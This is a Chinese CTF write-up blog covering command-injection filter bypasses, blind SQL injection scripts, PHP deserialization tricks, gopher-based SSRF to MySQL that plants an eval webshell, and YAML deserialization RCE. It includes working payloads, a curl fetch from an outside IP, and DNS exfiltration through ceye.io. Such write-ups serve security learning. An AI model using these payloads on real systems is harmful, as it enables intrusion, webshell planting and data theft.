web_checkin

<?php
highlight_file(__FILE__);
$filter = '/#|`| |[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\\/is';
$cmd = $_POST['cmd'];
if(!preg_match($filter, $cmd)){
system($cmd."echo 'hi~'");
}else{
die("???");
}
?> hi~

正则

看了看是命令执行! 但是过滤了很多!

还可以用cut
脑子就折磨多了! 大佬是file! 学习学习!

%09绕过空格
cut也不会使了!

列目录

可以列目录的命令有:

ls dir vdir

ls . 当前目录 ..上级目录
cd -返回上一次目录

dir .
vdir .

dir%09.%09
vdir%09.%09 F14g_1s_h4rehaha.php

整理 Linux下列出目录内容的命令

image-20210317234629490

注意两个空格

读文件

Linux shell cut命令

cut -d 1-1000 /flag
cut%09-d%091-1000%09/flag%09
sed -n p  /flag
sed%09-n%09p%09/flag%09

sed -n p /flag 打印 flag文件的第1行 2p 第二行

Linux下Sed命令的用法

file -f /flag
file%09-f%09/flag

linux下file 命令

linux shell 的 浅谈 Linux 下 file 的六种应用实例

实例四:查看文件中的文件名的文件信息

cat hello.txt
sunset.jpg
file -f hello.txt
sunset.jpg: JPEG image data, JFIF standard 1.01

看完这个才懂! 🙄🙄🙄

考点 :命令执行

考察liunx命令的广度了!😁

Hard_sql

是sql注入!

先拿sqlmap跑一下! 看看能不能跑出注入点!

image-20210318173754159

可以发现他的注入点在 id哪里

过滤了很多!
information
select
union
if(preg_match('/union|like|=|<|>|limit|pad|and|or|\||\&|\^|\+|-|regexp|repeat|substr|mid|sleep|benchmark|get_lock|count|case|if|elt|field|;| |\/|file|order|sys/is', $s)){
die("bad hacker!");
}

ctf 一般常考 mysql | pgsql

1*1%09%23
pow(1,1)
空格用() | %09
= 用 in 或 like
select (1*1)in(2);
select (1*1)like(2);
这个16进制编码有点晕!
数据库 可以直接 0x 替换!

php里可以 直接\00 代表16进制、
还有一点:

image-20210318213106926

python里:

image-20210318213117809

发现不一样! 写的时候要[2:]  [2:4]
information 过滤了 但是 mysql是 大于5.7版本 可以用sys 但是 sys过滤了! 再找找

此时可以通过innodb引擎进行注入,在Mysql 5.6以上的版本中,在系统Mysql库中存在两张与innodb相关的表:innodb_table_stats和innodb_index_stats。

聊一聊bypass information_schema

还有一点:

id只有1的时候有回显

exp1

先贴大佬1的exp:

脚本:

import requests

proxy = '127.0.0.1:8080'
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}

def my_hex(s):
s_hex=''
for i in range(len(s)):
s_hex=s_hex+hex(ord(s[i]))[2:]
return s_hex

burp0_url = "http://70cb1d5c-18e4-4ad9-ab04-d4c33bbd8fd7.ctf.moonback.xyz:8001/login.php"
#burp0_data = {"username": "admin", "password": "admin", "id": "(left(database(),1)in(0x70))"}
s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-+$~`^#.@_,{}()'
flag=''
for i in range(1,1000):
f=flag
for j in s:
#burp0_data = {"username": "admin", "password": "admin", "id": "(left(schema(),{})in({}))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(left(version(),{})in('{}'))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(left((select(group_concat(database_name))from(mysql.innodb_index_stats)),{})in('{}'))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(left((select(group_concat(table_name))from(mysql.innodb_index_stats)),{})in('{}'))".format(str(i),flag+j)}
#burp0_data = {"username": "admin", "password": "admin", "id": "(left((select(group_concat(table_name))from(mysql.innodb_index_stats)),{})in('{}'))".format(str(i),flag+j)}
burp0_data = {"username": "admin", "password": "admin", "id": "(hex(left((select*from(flagishere.flag)),{}))in('{}'))".format(str(i),my_hex(flag+j))}
r = requests.post(burp0_url, data=burp0_data, proxies=proxies )
print(i,j)
if 'username or password error!' in r.text:
flag+=j
print(flag)
break
if flag==f:
break
print(flag)

# ctf
# ctf,ctf,ctf,flagishere,flagishere,flagishere,mysq
# admin,flag,gtid_slave_pos flagishere
#admin,admin,admin,flag,flag,flag,gtid_slave_pos,gtid_slave_pos,gtid_slave_pos,gtid_slave_pos
# flag{02539e4a

exp2

id是1的时候有回显

INSTR(str,substr);
SQL

INSTR函数接受两个参数:

  • str是要搜索的字符串。
  • substr是要搜索的子字符串。

FIND_IN_SET()函数接受两个参数:

  • 第一个参数needle是要查找的字符串。
  • 第二个参数haystack是要搜索的逗号分隔的字符串列表。

image-20210318222743589

官方:

import requests
import string
import sys

burp0_url = "http://665c605a-d01c-45b1-b75b-362106c7be63.ctf.moonback.xyz:8001/login.php"
burp0_cookies = {"PHPSESSID": "26c3e9b6d7be65ba5018047f64270051"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Origin": "http://localhost:33443", "Connection": "close", "Referer": "http://localhost:33443/"}

dic = string.ascii_letters + string.digits + '_!@#$%^&*{}-'
flag = ''
# 查询数据库名、表名

for i in range(1, 100):
print(i)
for j in dic:
# 1.当前数据库名: ctf
#burp0_data = {"id": "FIND_IN_SET('{}',left((select\tschema()),{}))".format(flag+j, i), "username":"asdf","password": "asdf"}

# 2.查询的结果是以,分隔的,会被find_in_set函数当成列表,因此可以将逗号替换为空。得到所有数据库名: ctf flagishere mysql
#burp0_data = {"id": "FIND_IN_SET('{}',left(replace((select\tgroup_concat(database_name)from\tmysql.innodb_table_stats),',',''),{}))".format(flag+j, i), "username":"asdf","password": "asdf"}

# 3.得到当前数据库ctf的表: admin
#burp0_data = {"id": "FIND_IN_SET('{}',left(replace((select\tgroup_concat(table_name)from\tmysql.innodb_table_stats\twhere\tdatabase_name\tin('ctf')),',',''),{}))".format(flag+j, i), "username":"asdf","password": "asdf"}

# 4.查询flagishere数据库的表: flag
# burp0_data = {"id": "FIND_IN_SET('{}',left(replace((select\tgroup_concat(table_name)from\tmysql.innodb_table_stats\twhere\tdatabase_name\tin('flagishere')),',',''),{}))".format(flag+j, i), "username":"asdf","password": "asdf"}

#burp0_data = {"id": "FIND_IN_SET('{}',left(replace((select\tpassword\tfrom\tctf.admin),',',''),{}))".format(flag+j, i), "username":"asdf","password": "asdf"}
# 5.查询flag flag{02539e4a-de61-410c-a61f-942fe2bbcd4f}
# flag{02539e4a
#burp0_data = {"id": "FIND_IN_SET('{}',left(replace((select\t*\tfrom\tflagishere.flag),',',''),{}))".format(flag+j, i), "username":"asdf","password": "asdf"}
# flag{02539e4a-de61
#burp0_data = {"id": "FIND_IN_SET(concat('flag{93750b65',char(45),"+"'{}'),left(replace((select\t*\tfrom\tflagishere.flag),',',''),{}))".format(flag+j, i+14), "username":"asdf","password": "asdf"}
# flag{02539e4a-de61-410c
#burp0_data = {"id": "FIND_IN_SET(concat('flag{93750b65',char(45),'de8e',char(45),"+"'{}'),left(replace((select\t*\tfrom\tflagishere.flag),',',''),{}))".format(flag+j, i+19), "username":"asdf","password": "asdf"}
# flag{02539e4a-de61-410c-a61f
burp0_data = {"id": "FIND_IN_SET(concat('flag{93750b65',char(45),'de8e',char(45),'41df',char(45),"+"'{}'),left(replace((select\t*\tfrom\tflagishere.flag),',',''),{}))".format(flag+j, i+24), "username":"asdf","password": "asdf"}
# flag{02539e4a-de61-410c-a61f-942fe2bbcd4f}
burp0_data = {"id": "FIND_IN_SET(concat('flag{93750b65',char(45),'de8e',char(45),'41df',char(45),'b545',char(45),"+"'{}'),left(replace((select\t*\tfrom\tflagishere.flag),',',''),{}))".format(flag+j, i+29), "username":"asdf","password": "asdf"}

#burp0_data = {"id": "FIND_IN_SET(concat('flag{93750b65-de8e-41df-b545',char(45),"+"'{}'),left(replace((select\t*\tfrom\tflagishere.flag),',',''),{}))".format(flag+j, i+29), "username":"asdf","password": "asdf"}

s = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
print(s)
print(burp0_data)
if 'password' in s:
flag += j
print(flag)
break
if j == '-':
# pass # 注flag时更改这里
sys.exit()

总结: sql注入 思路更多了! 常用的分流函数被过滤了;就去找找其他的!还是经验太少了!

测试整型注入!

额外的Xpath注入

4.12. Xpath注入

tnl 感觉好难啊!!!

原理就是那个原理! 但是就是好难!

ezpass

算了算了

还是回来打ctf把! 挖屁屁洞! 被打爆了!😫😫😫

<?php
Class Welcome{
public $cmd;
private $admin;
public function __construct(){
$this->admin = 'guest';
}

public function backdoor(){
//rce me
eval($this->cmd);
}

public function __destruct(){
if($this->admin === 'guest'){
$this->cmd = 'echo "<hr>Welcome to JDBCTF 2020!";';
$this->backdoor();
}else if($this->admin === 'jdb' && check_cmd($_POST['cmd'])){
$this->cmd = $_POST['cmd'];
$this->backdoor();
}else if($this->admin === 'info'){
$this->cmd = 'phpinfo();';
$this->backdoor();
}
}
}

$w = new Welcome();

if(!isset($_POST['data'])){
die();
}

$data = $_POST['data'];
if(check_data($data)){
unserialize($data);
}
Welcome to JDBCTF 2020!

这篇文章考了很多php反序列化的小trick

记录下

<?php
error_reporting(0);
Class Welcome{
public $cmd;
private $admin='jdb';

}
$w = new WeLcome();
$a = serialize($w);
$a=str_replace('s:14:"'.chr(0).'Welcome'.chr(0).'admin','S:14:"\00\57\65\6c\63\6f\6d\65\00\61\64\6d\69\6e',$a);
$a=str_replace('s:3:"cmd"','S:3:"\63\6d\64"',$a);
$a=str_replace('s:4:"info"','S:4:"\69\6e\66\6f"',$a);
$a=str_replace(':3:"jdb"','S:3:"\6a\64\62"',$a);
$a=str_replace('O:7:"Welcome"','O:+7:"Welcome"',$a);$a=str_replace('{','[',$a);$a=str_replace('}',']',$a);

echo $a;
#echo urlencode($a);

对于这里的16进制编码确实脑壳疼!记住这种格式是可以的!

如果过滤字符 可以用 大写S + 16进制 如果调试字符串

{} 可以替换成 [] ()

过滤/O:\d:/这种形式的字符串,php在反序列化时也会正常反序列化/O:\+\d:/这种形式,即在O:后添加一个+,注意用burp post提交的时候要urlencode一下:
就是加上 + 号 记住记住! 🙄🙄🙄

我又熟悉了下浏览器的编码规则!

他会把你的数据url编码的方式发送! 我门抓包的时候都可以看到

image-20210321193903202

当我们输入 1’的时候 浏览器会自动url编码!

get和post是一样的!

可是当我们 直接 输入url编码的时候:

输1%27的时候 他不会再一次url编码 传输的还是1%27

image-20210321194132021

image-20210321194202579

可以看到 发送的 编码后的数据! 可以之前编码过的就不在编码了!😁😁

tcl 所以记一下!

因为两次url编码绕过还不知道原理!

看了php是5.6.40

cmd 里 过滤了:php $ ;  <script> () '  " language<
<script language='php'></script>

<scRipt language='php'></scRipt>

<scRipt language=Php>echo 1</scRipt>

因为()过滤了! 想一般函数都用不了!

include 可以用

学到了!

PHP创建多行字符串

PHP中的多行字符串

官方是可以通过Include文件包含session来RCE

这!!! 看一看哈:

又忘了:php还有其他语言里 “”里可以执行变量和转义!

我说为啥 单引号不行!

<?php
echo urlencode('a\na');
a%5Cna
echo urlencode("a\na");
a%0Aa

哎呀tcl! 老是有小问题!😥😥😥

image-20210321210517413

太猛了!大佬🤗🤗🤗

\r|\t|\n讲解

先看反弹shell 简单一点

?><scRipt%09Language=Php>echo%091</scRipt>
?><scRipt%0aLanguage=Php>echo%0a1</scRipt>

?><?php echo 2;echo 1?>
这是可以执行的!
php里最好一句语句可以不加分号!
`curl%09`

啊啊啊啊测试的时候发现:<?一起的时候被过滤了!大佬太精了😥😥😥

?><?php eval("`dir`?>");?>

直接
`curl%098.131.72.215/1.txt`?>
后门必须要有; 只要不是php最后一句都要有;
因为这里;被办了! 直接用?> 闭合整个代码!

`curl%098.131.72.215/1.txt`?>

cat /* | grep flag

linux下反弹shell

反弹shell

那个官方的啊!!!!

哭了!🙄🙄🙄

ssrf

这个题! dns rebind

😥😥😥

端口说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。 通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。
测试的时候有点问题!
dns没弄好!
直接看ssrf打mysql把把

image-20210322170417501

select '<?=@eval($_POST[1]);' into outfile '/var/www/html/log/1.php';

select '<?=@eval($_POST[1]);' into outfile '/var/www/html/1.php';


gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%3d%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6c%6f%67%2f%31%2e%70%68%70%27%3b%01%00%00%00%01

我看大佬

发现大佬把后面的又一次加密了! 细节😀

写到/var/www/html/log命令下


/index.php?url=gopher://rebind.gtfly.top:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2546%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%253d%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%256c%256f%2567%252f%2531%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501&start=on


会了会了!

大佬指点了下!

https://www.gem-love.com/websecurity/2733.html

看了师傅的文章!懂了!

简单说就是 让dns解析到127.0.0.1!

怎么解析呢!一般dns解析是服务器的ip! 当你设置成127.0.0.1时!他是可以直接解析的!

很多时候 DNS 重绑是先过 check 然后重绑到 127.0.0.1 来 SSRF。本题目的 SSRF 和常规 SSRF 的套路一致,但不能重绑到 127.0.0.1,因为本地是 80 端口,但是 check() 并不允许访问 80 端口;所以我们可以让它解析到攻击者的 ip 并且是非 80/8080 端口,当访问到攻击者时,利用 302 跳转到 http://127.0.0.1:80/flag,request 会默认 follow 这个 302 重定向,即可 SSRF 成功。

这里我们就用

把start= 爆出ip

Bad ip 62.234.60.226! We've recorded your actions at fd40c7f4125a9b9ff1a4e75d293e3080/log.txt!

当然也可以直接信息收集!🙂

https://requestrepo.com/#/dns-settings

在网站上进行dns重载

就是让他一会是62.234.60.226 一会是127.0.0.1

bp跑! 和条件竞争一样!

一直跑!

image-20210325201346115

就ok!后面是ssrf打mysql!

python

body {
background-image:url("get_image?img=bg.png")
}

发现可以目录遍历!

但是过滤了 。。py

fuzz一下! 发现目录/proc/self/cwd

过滤了 py

目录存在是 500

不存在"image does not exists"

然后测试一下: __pycache__

然后:

get_image?img=/proc/self/cwd/__pycache__/app.cpython-35.pyc

这里可以从响应头中得知python版本:

Server: Werkzeug/1.0.1 Python/3.5.2

那么可以尝试去读

模块名.cpython-35.pyc

感觉就是 大佬经验太丰富了! 还是看的太少!练的太少!

其实 和 php的站没啥区别!多看看!

#! /usr/bin/env python 3.5 (3350)
#coding=utf-8
# Compiled at: 2021-03-16 08:49:01
#Powered by BugScaner
#http://tools.bugscaner.com/
#如果觉得不错,请分享给你朋友使用吧!
from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, send_file, make_response, Response, jsonify
import base64, json, yaml, os
app = Flask(__name__)

class Name:

def __init__(self):
pass

@staticmethod
def from_configuration(config):
return Name(**yaml.load(config, Loader=yaml.Loader))


def waf(name):
if '..' in name:
return -1
elif name[-2:] == 'py':
return -2
else:
return 0


@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html', out='Welcome to enter!', is_value=0)


@app.route('/get_image')
def get_image():
filename = request.args.get('img')
if waf(filename) == -1:
return jsonify('directory traversal forbidden!')
if waf(filename) == -2:
return jsonify('reading forbidden!')
imgPath = os.path.join('/app', 'static', filename)
if not os.path.exists(imgPath):
return jsonify('image does not exists')
return send_file(imgPath, mimetype='image/png')


@app.route('/set', methods=['GET', 'POST'])
def set():
if request.method == 'POST':
if 'name' in request.form:
name = request.form['name']
if 'config' in request.form:
result = Name.from_configuration(request.form['config'])
return make_response(render_template('index.html', result=result), 200)
return make_response(render_template('index.html', out='Welcome,' + name, is_value=1), 200)
else:
return make_response(render_template('setting.html'), 200)
命令盲注!
ls /|sed -n 2p

拿bp跑一下

d

config=!!python/object/apply:os.system ["ping cat /Da4ger_Py_!.txt.tmqmeu.ceye.io"]

用下面的方法快!

config=!!python/object/apply:os.system ["ping `ls > /tmp/1.txt`.tmqmeu.ceye.io"]

wget http://7ce87f86-0504-4928-bbe7-ccf95cdbad23.ctf.moonback.xyz:8001/get_image?img=/tmp/2.txt

image-20210322183330404

config=!!python/object/apply:os.system ["curl cat /* > /tmp/4.txt.tmqmeu.ceye.io"]

ping 还是 curl host 都行

config=!!python/object/apply:os.system ["host cat /* > /tmp/6.txt.tmqmeu.ceye.io"]

看到一些好的文章:

0x00:基本介绍
0x01:html实体编码
0x02:新增的实体编码 实体编码变异以及浏览器的某些工作原理!
0x03:javascript编码
0x04:base64编码

xss

编码这东西有点难理解!